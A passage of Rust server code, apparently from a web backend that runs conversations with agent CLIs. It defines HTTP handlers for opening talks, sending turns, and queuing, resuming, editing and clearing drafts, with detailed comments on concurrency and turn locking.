9042/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9043/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9044/// end still opens a talk against an older binary.
9045#[derive(Debug, Default, Deserialize)]
9046#[serde(default)]
9047struct NewTalk {
9048    agent: Option<String>,
9049    repo: Option<PathBuf>,
9050    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9051    /// wrong type is dropped like a stale value instead of failing the request;
9052    /// each falls back to its default on its own (see [`talk::begin_with`]).
9053    preferred_agent: Option<serde_json::Value>,
9054    persona: Option<serde_json::Value>,
9055    implementers: Option<serde_json::Value>,
9056}
9057
9058/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9059/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9060async fn talk_post(
9061    State(ui): State<Arc<Ui>>,
9062    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9063) -> ApiResult<impl IntoResponse> {
9064    // An absent body, or an empty one, is the normal way to open a talk - see
9065    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9066    // rather than refused.
9067    let body = match body {
9068        Ok(Json(body)) => body,
9069        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9070        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9071    };
9072    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9073    let cfg = config_for(&repo).await?;
9074    let view = blocking(move || {
9075        let preferred = talk::Preferred {
9076            agent: body
9077                .preferred_agent
9078                .as_ref()
9079                .and_then(|v| v.as_str())
9080                .map(str::to_owned),
9081            persona: body
9082                .persona
9083                .as_ref()
9084                .and_then(|v| v.as_str())
9085                .map(str::to_owned),
9086            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9087        };
9088        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9089        let thinking = ui.is_thinking(&talk.id);
9090        Ok(TalkView::new(talk, thinking, &ui))
9091    })
9092    .await?;
9093    Ok((StatusCode::CREATED, Json(view)))
9094}
9095
9096/// Transcript first: unrelated queue history and repository probes are deferred.
9097async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9098    // Keep transcript reads independent of sections and the runtime blocking pool.
9099    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9100        let id = resolve_talk(&ui.talks, &id)?;
9101        let talk = ui.talks.get(&id)?;
9102        let thinking = ui.is_thinking_observed(&id);
9103        // The browser already resolves Markdown text/code references after
9104        // rendering. A cold reference/review index must not gate the transcript.
9105        Ok(Json(TalkView::with_references(
9106            talk,
9107            thinking,
9108            None,
9109            &ui.home,
9110            &id_links::IdIndex::default(),
9111        )))
9112    })
9113    .await
9114}
9115
9116async fn talk_sections(
9117    State(ui): State<Arc<Ui>>,
9118    Path(id): Path<String>,
9119) -> ApiResult<Json<serde_json::Value>> {
9120    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9121        let id = resolve_talk(&ui.talks, &id)?;
9122        let talk = ui.talks.get(&id)?;
9123        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9124        let task_progress = talk_task_progress(&tasks);
9125        let tasks: Vec<_> = tasks
9126            .into_iter()
9127            .map(|task| {
9128                serde_json::json!({
9129                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9130                })
9131            })
9132            .collect();
9133        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9134        let roster: Vec<_> = cfg
9135            .as_ref()
9136            .map(|cfg| {
9137                cfg.agents
9138                    .iter()
9139                    .map(|a| RosterEntry {
9140                        id: a.id.clone(),
9141                        kind: a.kind,
9142                        runnable: agent::installed(a),
9143                    })
9144                    .collect()
9145            })
9146            .unwrap_or_default();
9147        let specs = cfg
9148            .as_ref()
9149            .map(|cfg| cfg.talk.personas.clone())
9150            .unwrap_or_default();
9151        let personas: Vec<_> = persona::catalog(&specs)
9152            .into_iter()
9153            .map(|p| PersonaEntry {
9154                avatar: avatar_url(&ui.home, &talk.id, &p),
9155                id: p.id,
9156                name: p.name,
9157            })
9158            .collect();
9159        let active_persona = persona::find(&specs, &talk.persona)
9160            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9161        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9162        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9163        Ok(Json(serde_json::json!({
9164            "tasks": tasks, "task_progress": task_progress,
9165            "roster": roster, "personas": personas,
9166            "context": talk::context_usage(&talk, cfg.as_ref()),
9167            "context_for": talk.updated_at,
9168            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9169            "persona_name": persona_name,
9170            "persona_avatar": persona_avatar,
9171        })))
9172    })
9173    .await
9174}
9175
9176/// `GET /api/talks/{id}`.
9177async fn talk_detail(
9178    State(ui): State<Arc<Ui>>,
9179    Path(id): Path<String>,
9180) -> ApiResult<Json<TalkDetailView>> {
9181    blocking(move || {
9182        let id = resolve_talk(&ui.talks, &id)?;
9183        let talk = ui.talks.get(&id)?;
9184        let thinking = ui.is_thinking_observed(&talk.id);
9185        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9186        let task_progress = talk_task_progress(&tasks);
9187        let tasks = tasks.into_iter().map(TaskView::from).collect();
9188        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9189        let roster = cfg
9190            .as_ref()
9191            .map(|cfg| {
9192                cfg.agents
9193                    .iter()
9194                    .map(|a| RosterEntry {
9195                        id: a.id.clone(),
9196                        kind: a.kind,
9197                        runnable: agent::installed(a),
9198                    })
9199                    .collect()
9200            })
9201            .unwrap_or_default();
9202        let specs = cfg
9203            .as_ref()
9204            .map(|cfg| cfg.talk.personas.clone())
9205            .unwrap_or_default();
9206        let personas = persona::catalog(&specs)
9207            .into_iter()
9208            .map(|p| PersonaEntry {
9209                avatar: avatar_url(&ui.home, &talk.id, &p),
9210                id: p.id,
9211                name: p.name,
9212            })
9213            .collect();
9214        Ok(Json(TalkDetailView {
9215            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9216            tasks,
9217            task_progress,
9218            roster,
9219            personas,
9220        }))
9221    })
9222    .await
9223}
9224
9225/// The body of `POST /api/talks/{id}/say`.
9226///
9227/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9228/// returned - never bytes of its own - so a turn with no images just omits
9229/// the field, which is what an older front end still does.
9230#[derive(Debug, Default, Deserialize)]
9231#[serde(default, deny_unknown_fields)]
9232struct NewTalkTurn {
9233    reply_to: Option<talk::ReplyTarget>,
9234    text: String,
9235    attachments: Vec<String>,
9236}
9237
9238#[derive(Debug, Deserialize)]
9239#[serde(deny_unknown_fields)]
9240struct EditTalkPending {
9241    #[serde(default)]
9242    message: Option<usize>,
9243    text: String,
9244    expected_text: String,
9245    expected_attachments: Vec<String>,
9246}
9247
9248#[derive(Debug, Deserialize)]
9249#[serde(deny_unknown_fields)]
9250struct ClearTalkPending {
9251    expected_text: String,
9252    expected_attachments: Vec<String>,
9253}
9254
9255/// `POST /api/talks/{id}/say` - one turn of the conversation.
9256///
9257/// Not filesystem work, and therefore not routed through [`blocking`]: this
9258/// route spawns an agent CLI and a turn here can run for the whole of
9259/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9260/// research turn is expected to run commands rather than answer from what it
9261/// already knows. Holding an HTTP connection open that long is not a thing
9262/// to ask a phone to do; the operator's message is recorded and answered for
9263/// immediately, and the reply lands in the background, discovered through
9264/// the change stream's `talks_rev` the same way every other update on this
9265/// surface is.
9266async fn talk_say(
9267    State(ui): State<Arc<Ui>>,
9268    Path(id): Path<String>,
9269    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9270) -> ApiResult<(StatusCode, Json<TalkView>)> {
9271    let admission = ui.begin_admission()?;
9272    admitted(admission, async move {
9273    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9274    if body.text.trim().is_empty() && body.attachments.is_empty() {
9275        return Err(ApiError::bad_request("say something"));
9276    }
9277
9278    let id = {
9279        let ui = Arc::clone(&ui);
9280        let asked = id.clone();
9281        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9282    };
9283    // A closed Talk never accepts a new immediate or queued turn. Check this
9284    // before claiming a slot so its ordinary domain refusal is a 409, not an
9285    // incidental failure from the later record/queue write.
9286    {
9287        let ui = Arc::clone(&ui);
9288        let id = id.clone();
9289        blocking(move || {
9290            let talk = ui.talks.get(&id)?;
9291            if !talk.status.open() {
9292                return Err(ApiError::conflict(format!(
9293                    "talk {} is {} and takes no more turns",
9294                    talk.short(),
9295                    talk.status.as_str()
9296                )));
9297            }
9298            Ok(())
9299        })
9300        .await?;
9301    }
9302
9303    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9304    // actually stores, before anything is written - an unknown id is a 4xx
9305    // that names it rather than a turn (or a queued draft) silently missing
9306    // an image.
9307    let attachments = {
9308        let ui = Arc::clone(&ui);
9309        let id = id.clone();
9310        let ids = body.attachments.clone();
9311        blocking(move || {
9312            ids.into_iter()
9313                .map(|att_id| {
9314                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9315                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9316                    })
9317                })
9318                .collect::<ApiResult<Vec<talk::Attachment>>>()
9319        })
9320        .await?
9321    };
9322    let _publication = crate::consult::publication_guard(&ui.talks, &id)
9323        .await.map_err(ApiError::from)?;
9324
9325    // Pending recovery and a new immediate turn are decided under the same
9326    // claim lock. Without that one critical section, a second `/say` can see
9327    // the first request's claim as "busy" and append itself to the recovered
9328    // draft before the first request rejects it.
9329    let start = {
9330        let ui = Arc::clone(&ui);
9331        let id = id.clone();
9332        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9333    };
9334    let turn_guard = match start {
9335        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9336        TalkTurnStart::Pending => {
9337            return Err(ApiError::conflict(
9338                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9339            ));
9340        }
9341        TalkTurnStart::Foreign => {
9342            return Err(ApiError::conflict(
9343                "a turn is already running in another process; try again when it has finished",
9344            ));
9345        }
9346        TalkTurnStart::Busy => {
9347            // A turn is already running: queue rather than refuse. See
9348            // `Ui::begin_talk_turn` and `talk::queue`.
9349            //
9350            // The queue write and the drain it may owe live inside the task
9351            // `tokio::spawn` hands to the runtime, for the same reason the
9352            // immediate path below puts `record` there: a dropped handler
9353            // future must not be able to land between a durable write and
9354            // the task that answers it. `blocking` runs its closure on
9355            // `spawn_blocking`, which finishes whether or not anyone is left
9356            // to receive its result - so a disconnect at the `.await` below
9357            // would otherwise leave the draft persisted and the reclaimed
9358            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9359            // ever started and the queued text stranded until some later
9360            // `say` happened to pick it up. The caller's 202 travels back
9361            // over a `oneshot`, sent the moment the write lands.
9362            let (tx, rx) = tokio::sync::oneshot::channel();
9363            tokio::spawn({
9364                let ui = Arc::clone(&ui);
9365                let id = id.clone();
9366                let said = body.text.clone();
9367                let reply_to = body.reply_to.clone();
9368                async move {
9369                    let written = blocking({
9370                        let ui = Arc::clone(&ui);
9371                        let id = id.clone();
9372                        move || {
9373                            let mut talk = ui.talks.get(&id)?;
9374                            // A test-only stop point, right before the write
9375                            // an interleaving test needs to pin - see
9376                            // `BusyQueueGate`. `None` in every real server:
9377                            // the field only exists under `#[cfg(test)]`.
9378                            #[cfg(test)]
9379                            if let Some(gate) = ui
9380                                .busy_queue_gate
9381                                .lock()
9382                                .unwrap_or_else(PoisonError::into_inner)
9383                                .take()
9384                            {
9385                                let _ = gate.reached.send(());
9386                                let _ = gate.release.recv();
9387                            }
9388                            if let Err(error) = talk::queue_reply(
9389                                &mut talk,
9390                                &ui.talks,
9391                                &said,
9392                                attachments,
9393                                reply_to,
9394                            ) {
9395                                if let Ok(fresh) = ui.talks.get(&id) {
9396                                    if !fresh.status.open() {
9397                                        return Err(ApiError::conflict(format!(
9398                                            "talk {} is {} and takes no more turns",
9399                                            fresh.short(),
9400                                            fresh.status.as_str()
9401                                        )));
9402                                    }
9403                                }
9404                                return Err(
9405                                    if error.to_string().contains("invalid reply target") {
9406                                        ApiError::bad_request("invalid reply target")
9407                                    } else {
9408                                        ApiError::from(error)
9409                                    },
9410                                );
9411                            }
9412                            // The turn that looked busy a moment ago can have
9413                            // finished, found nothing to drain and given up the
9414                            // slot in the gap between that check and this write
9415                            // landing - see `drain_loop`'s own doc for the other
9416                            // half of why that gap would otherwise be able to
9417                            // open at all. Reclaiming the slot here, rather than
9418                            // trusting that whoever held it is still watching, is
9419                            // what stops the text just queued from being stranded
9420                            // until an unrelated future `say` happens to drain
9421                            // it.
9422                            let claim = match ui.begin_queued_talk_turn(&id)? {
9423                                Some(turn_guard) => {
9424                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9425                                    Some((talk.clone(), cfg, turn_guard))
9426                                }
9427                                None => None,
9428                            };
9429                            let thinking = ui.is_thinking(&id);
9430                            Ok((TalkView::new(talk, thinking, &ui), claim))
9431                        }
9432                    })
9433                    .await;
9434                    #[cfg(not(test))]
9435                    {
9436                        match written {
9437                            Ok((view, reclaimed)) => {
9438                                let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9439                                drop(reclaimed);
9440                                match launched {
9441                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9442                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9443                                }
9444                            }
9445                            Err(error) => { let _ = tx.send(Err(error)); }
9446                        }
9447                    }
9448                    #[cfg(test)]
9449                    {
9450                    let (view, reclaimed) = match written {
9451                        Ok(pair) => pair,
9452                        Err(e) => {
9453                            // Nobody is listening if the handler's own future
9454                            // was already dropped - that is fine, nothing was
9455                            // persisted and there is no response left to carry
9456                            // this error to.
9457                            let _ = tx.send(Err(e));
9458                            return;
9459                        }
9460                    };
9461                    // If this fails, the caller is gone; the drain below still
9462                    // runs exactly as it would have for a caller that stayed.
9463                    let _ = tx.send(Ok(view));
9464                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9465                        let talks = ui.talks.clone();
9466                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9467                    }
9468                    }
9469                }
9470            });
9471            let view = rx
9472                .await
9473                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9474            return Ok((StatusCode::ACCEPTED, Json(view)));
9475        }
9476    };
9477
9478    let (talk, cfg) = {
9479        let ui = Arc::clone(&ui);
9480        let id = id.clone();
9481        blocking(move || {
9482            let talk = ui.talks.get(&id)?;
9483            let (cfg, _) = Config::discover(&talk.repo, None)?;
9484            Ok((talk, cfg))
9485        })
9486        .await?
9487    };
9488
9489    let talks = ui.talks.clone();
9490    // `record` runs *inside* the spawned task, rather than in this handler
9491    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9492    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9493    // doc), and that drop can land at any `.await` this function makes,
9494    // including one that has already produced its result but not yet
9495    // resumed. A message could end up recorded on disk with the handler
9496    // future gone before it ever reached the `tokio::spawn` that would have
9497    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9498    // that hands the whole future to the runtime as one unit - once made, no
9499    // later drop of *this* handler's own future (that call's return value is
9500    // never held onto here) can reach back in and stop it, so record and the
9501    // hand-off to `respond` are unconditionally atomic from the client's
9502    // point of view. The immediate response this handler owes the caller
9503    // travels back over a `oneshot`, sent the moment `record` succeeds.
9504    let (tx, rx) = tokio::sync::oneshot::channel();
9505    tokio::spawn({
9506        #[cfg(test)]
9507        let ui = Arc::clone(&ui);
9508        let talks = talks.clone();
9509        let id = id.clone();
9510        let said = body.text.clone();
9511        let reply_to = body.reply_to.clone();
9512        let mut talk = talk.clone();
9513        async move {
9514            let recorded = blocking({
9515                let talks = talks.clone();
9516                move || {
9517                    if let Err(error) =
9518                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9519                    {
9520                        if let Ok(fresh) = talks.get(&talk.id) {
9521                            if !fresh.status.open() {
9522                                return Err(ApiError::conflict(format!(
9523                                    "talk {} is {} and takes no more turns",
9524                                    fresh.short(),
9525                                    fresh.status.as_str()
9526                                )));
9527                            }
9528                        }
9529                        return Err(if error.to_string().contains("invalid reply target") {
9530                            ApiError::bad_request("invalid reply target")
9531                        } else {
9532                            ApiError::from(error)
9533                        });
9534                    }
9535                    // `record` mutates `talk` in place to the freshly persisted
9536                    // state (status, pending, and the just-appended operator
9537                    // turn), so returning it here is equivalent to re-reading it
9538                    // from disk - without the extra round trip a re-read would
9539                    // need.
9540                    Ok((said.trim().to_owned(), talk))
9541                }
9542            })
9543            .await;
9544            let (text, talk) = match recorded {
9545                Ok(pair) => pair,
9546                Err(e) => {
9547                    // Nobody is listening if the handler's own future was
9548                    // already dropped - that is fine, there is no response
9549                    // left to carry this error to and nothing was persisted.
9550                    let _ = tx.send(Err(e));
9551                    return;
9552                }
9553            };
9554            #[cfg(not(test))]
9555            {
9556                let _ = (&cfg, &text);
9557                // The reservation becomes durable while this process still
9558                // holds the talk lease. The child waits for that lease; the
9559                // new UI sees its startup reservation immediately.
9560                let result = crate::consult::spawn_recorded_turn(
9561                    &talks, &id, talk.turns.len() - 1,
9562                ).await;
9563                drop(turn_guard);
9564                match result {
9565                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9566                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9567                }
9568            }
9569            #[cfg(test)]
9570            {
9571            let queued = talk.clone();
9572            let mut talk = talk;
9573            let thinking = ui.is_thinking(&id);
9574            // If this fails, the caller is gone; the turn still runs below
9575            // exactly as it would have for a caller that stayed connected.
9576            let _ = tx.send(Ok((queued, thinking)));
9577
9578            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9579                // `respond` records the failure in the transcript itself,
9580                // which is what the phone reads; this line is for the
9581                // operator's terminal.
9582                tracing::warn!("talk {id} turn failed: {e:#}");
9583            }
9584            // Anything `talk::queue` added while the turn above was running
9585            // is still owed an answer - see `drain_loop`.
9586            drain_loop(talk, talks, cfg, id, turn_guard).await;
9587            }
9588        }
9589    });
9590
9591    let (queued, thinking) = rx
9592        .await
9593        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9594
9595    // 202: the operator's message is recorded and a turn is running.
9596    Ok((
9597        StatusCode::ACCEPTED,
9598        Json(TalkView::new(queued, thinking, &ui)),
9599    ))
9600    }).await
9601}
9602
9603/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9604/// changing it. The turn guard is the same per-talk ownership `talk_say`
9605/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9606async fn talk_pending_resume(
9607    State(ui): State<Arc<Ui>>,
9608    Path(id): Path<String>,
9609) -> ApiResult<(StatusCode, Json<TalkView>)> {
9610    let admission = ui.begin_admission()?;
9611    admitted(admission, async move {
9612        let id = {
9613            let ui = Arc::clone(&ui);
9614            let asked = id.clone();
9615            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9616        };
9617        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9618            .await
9619            .map_err(ApiError::from)?;
9620        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9621            return Err(ApiError::conflict(
9622                "a talk turn is already running; the queued draft will be handled by it",
9623            ));
9624        };
9625        let (talk, cfg) = {
9626            let ui = Arc::clone(&ui);
9627            let id = id.clone();
9628            blocking(move || {
9629                let talk = ui.talks.get(&id)?;
9630                if !talk.status.open() {
9631                    return Err(ApiError::conflict(format!(
9632                        "talk {} is {} and takes no more turns",
9633                        talk.short(),
9634                        talk.status.as_str()
9635                    )));
9636                }
9637                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9638                    return Err(ApiError::conflict("there is no queued draft to resume"));
9639                }
9640                let (cfg, _) = Config::discover(&talk.repo, None)?;
9641                Ok((talk, cfg))
9642            })
9643            .await?
9644        };
9645        let view = TalkView::new(talk.clone(), true, &ui);
9646        let talks = ui.talks.clone();
9647        #[cfg(not(test))]
9648        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9649        #[cfg(test)]
9650        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9651        Ok((StatusCode::ACCEPTED, Json(view)))
9652    })
9653    .await
9654}
9655
9656/// Hand off an admitted draft while retaining the talk lease until its
9657/// detached startup reservation is durable.
9658#[cfg(not(test))]
9659async fn detach_talk_turn(
9660    _talk: Talk,
9661    talks: Talks,
9662    _cfg: Config,
9663    id: String,
9664    turn: TalkTurnGuard,
9665) -> ApiResult<()> {
9666    let launched = crate::consult::spawn_turn(&talks, &id).await;
9667    drop(turn);
9668    launched.map(|_| ()).map_err(ApiError::from)
9669}
9670
9671#[cfg(test)]
9672async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9673    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9674}
9675
9676/// A settings response must not report idle while its claim is still held.
9677/// Wait until the first drain either releases the claim or promotes a draft.
9678/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9679async fn settle_settings_turn(
9680    talk: Talk,
9681    talks: Talks,
9682    cfg: Config,
9683    id: String,
9684    turn: TalkTurnGuard,
9685    observed: u64,
9686) -> bool {
9687    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9688        let turns = Arc::clone(&turn.turns);
9689        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9690        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9691            // Release under the arrival lock; a later `/say` takes its own claim.
9692            turn.release(&mut live);
9693            return false;
9694        }
9695    }
9696    let (started, settled) = tokio::sync::oneshot::channel();
9697    tokio::spawn(drain_loop_started(
9698        talk,
9699        talks,
9700        cfg,
9701        id,
9702        turn,
9703        Some(started),
9704    ));
9705    settled.await.unwrap_or(false)
9706}
9707
9708#[cfg(not(test))]
9709async fn drain_loop_started(
9710    talk: Talk,
9711    talks: Talks,
9712    _cfg: Config,
9713    id: String,
9714    turn: TalkTurnGuard,
9715    started: Option<tokio::sync::oneshot::Sender<bool>>,
9716) {
9717    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9718    let running = if pending {
9719        match crate::consult::spawn_turn(&talks, &id).await {
9720            Ok(_) => true,
9721            Err(error) => {
9722                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9723                false
9724            }
9725        }
9726    } else {
9727        false
9728    };
9729    drop(turn);
9730    if let Some(started) = started {
9731        let _ = started.send(running);
9732    }
9733}
9734
9735// Existing in-process conversation tests exercise transcript/arrival ordering;
9736// real process-lifetime behavior is covered by the CLI integration tests.
9737#[cfg(test)]
9738async fn drain_loop_started(
9739    mut talk: Talk,
9740    talks: Talks,
9741    cfg: Config,
9742    id: String,
9743    turn: TalkTurnGuard,
9744    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9745) {
9746    let live_set = Arc::clone(&turn.turns);
9747    // `Option` rather than binding `turn` directly to a `_turn` that lives
9748    // for the whole function: releasing it has to happen by calling
9749    // `TalkTurnGuard::release` from inside the locked branch below, which
9750    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9751    // remove the id - correctly, if this loop is ever left some other way -
9752    // but doing it there misses the lock this loop is already holding, which
9753    // is the exact gap `release` exists to close.
9754    let mut turn = Some(turn);
9755    loop {
9756        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9757            // The lease was taken over while a turn ran. Whatever is queued
9758            // stays a draft; running it here would race the new owner.
9759            tracing::warn!("talk {id} lost its turn lease; not draining further");
9760            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9761            if let Some(turn) = turn.take() {
9762                turn.release(&mut live);
9763            }
9764            break;
9765        }
9766        // `talk::drain` takes the store lock and can write/rename the talk
9767        // file. Keep the turn mutex out of that synchronous work: it protects
9768        // every talk's in-memory claim, not this talk's disk operation.
9769        let observed = live_set
9770            .lock()
9771            .unwrap_or_else(PoisonError::into_inner)
9772            .queued
9773            .get(&id)
9774            .copied()
9775            .unwrap_or(0);
9776        let drained = blocking({
9777            let talks = talks.clone();
9778            move || {
9779                let result = talk::drain(&mut talk, &talks);
9780                Ok((talk, result))
9781            }
9782        })
9783        .await;
9784        let (next_talk, result) = match drained {
9785            Ok(drained) => drained,
9786            Err(e) => {
9787                tracing::warn!(
9788                    status = %e.status,
9789                    message = %e.message,
9790                    "talk {id} could not start queued-text drain"
9791                );
9792                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9793                turn.take()
9794                    .expect("held for the whole loop until released here")
9795                    .release(&mut live);
9796                break;
9797            }
9798        };
9799        talk = next_talk;
9800        let drained = match result {
9801            Ok(Some(drained)) => drained,
9802            Ok(None) => {
9803                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9804                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9805                    continue;
9806                }
9807                turn.take()
9808                    .expect("held for the whole loop until released here")
9809                    .release(&mut live);
9810                break;
9811            }
9812            Err(e) => {
9813                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9814                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9815                turn.take()
9816                    .expect("held for the whole loop until released here")
9817                    .release(&mut live);
9818                break;
9819            }
9820        };
9821        if let Some(started) = started.take() {
9822            let _ = started.send(true);
9823        }
9824        let responded = match turn.as_ref() {
9825            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9826            None => Err(anyhow::anyhow!("the turn guard was released")),
9827        };
9828        if let Err(e) = responded {
9829            tracing::warn!("talk {id} turn failed: {e:#}");
9830        }
9831    }
9832    drop(turn);
9833    if let Some(started) = started {
9834        let _ = started.send(false);
9835    }
9836}
9837
9838/// Clear a queued draft only if it remains exactly the one the caller saw.
9839async fn talk_pending_clear(
9840    State(ui): State<Arc<Ui>>,
9841    Path(id): Path<String>,
9842    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9843) -> ApiResult<Json<TalkView>> {
9844    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9845    blocking(move || {
9846        let id = resolve_talk(&ui.talks, &id)?;
9847        let mut talk = ui.talks.get(&id)?;
9848        if !talk.status.open() {
9849            return Err(ApiError::conflict(format!(
9850                "talk {} is {} and takes no more turns",
9851                talk.short(),
9852                talk.status.as_str()
9853            )));
9854        }
9855        if !talk::clear_pending_if_matches(
9856            &mut talk,
9857            &ui.talks,
9858            &body.expected_text,
9859            &body.expected_attachments,
9860        )? {
9861            return Err(ApiError::conflict(
9862                "queued message changed; reload it before clearing",
9863            ));
9864        }
9865        let thinking = ui.is_thinking(&talk.id);
9866        Ok(Json(TalkView::new(talk, thinking, &ui)))
9867    })
9868    .await
9869}
9870
9871/// Atomically edit a queued draft's text while preserving its attachments.
9872/// The snapshot fields make a concurrent queue or drain a conflict rather
9873/// than silently discarding either message.
9874async fn talk_pending_edit(
9875    State(ui): State<Arc<Ui>>,
9876    Path(id): Path<String>,
9877    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9878) -> ApiResult<Json<TalkView>> {
9879    let admission = ui.begin_admission()?;
9880    admitted(admission, async move {
9881        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9882        let id = {
9883            let ui = Arc::clone(&ui);
9884            blocking(move || resolve_talk(&ui.talks, &id)).await?
9885        };
9886        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9887            .await
9888            .map_err(ApiError::from)?;
9889        let (view, reclaimed) = blocking({
9890            let ui = Arc::clone(&ui);
9891            move || {
9892                let mut talk = ui.talks.get(&id)?;
9893                if !talk.status.open() {
9894                    return Err(ApiError::conflict(format!(
9895                        "talk {} is {} and takes no more turns",
9896                        talk.short(),
9897                        talk.status.as_str()
9898                    )));
9899                }
9900                if !talk::edit_pending_message(
9901                    &mut talk,
9902                    &ui.talks,
9903                    &body.text,
9904                    &body.expected_text,
9905                    &body.expected_attachments,
9906                    body.message,
9907                )? {
9908                    return Err(ApiError::conflict(
9909                        "queued message changed; reload it before editing",
9910                    ));
9911                }
9912                let claim = match ui.begin_queued_talk_turn(&id)? {
9913                    Some(turn_guard) => {
9914                        let (cfg, _) = Config::discover(&talk.repo, None)?;
9915                        Some((talk.clone(), cfg, id.clone(), turn_guard))
9916                    }
9917                    None => None,
9918                };
9919                let thinking = ui.is_thinking(&id);
9920                Ok((TalkView::new(talk, thinking, &ui), claim))
9921            }
9922        })
9923        .await?;
9924        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9925            let talks = ui.talks.clone();
9926            #[cfg(not(test))]
9927            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9928            #[cfg(test)]
9929            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9930        }
9931        Ok(Json(view))
9932    })
9933    .await
9934}
9935
9936/// The 409 for a talk that takes no more turns.
9937fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9938    if talk.status.open() {
9939        return Ok(());
9940    }
9941    Err(ApiError::conflict(format!(
9942        "talk {} is {} and takes no more turns",
9943        talk.short(),
9944        talk.status.as_str()
9945    )))
9946}
9947
9948/// The body of `POST /api/talks/{id}/agent`.
9949#[derive(Debug, Deserialize)]
9950struct TalkAgent {
9951    agent: String,
9952}
9953
9954/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9955/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9956/// start a turn on the old session between the check and the write; one that
9957/// arrives in that window finds the talk busy and becomes a draft.
9958async fn talk_agent(
9959    State(ui): State<Arc<Ui>>,
9960    Path(id): Path<String>,
9961    Json(body): Json<TalkAgent>,
9962) -> ApiResult<Json<TalkView>> {
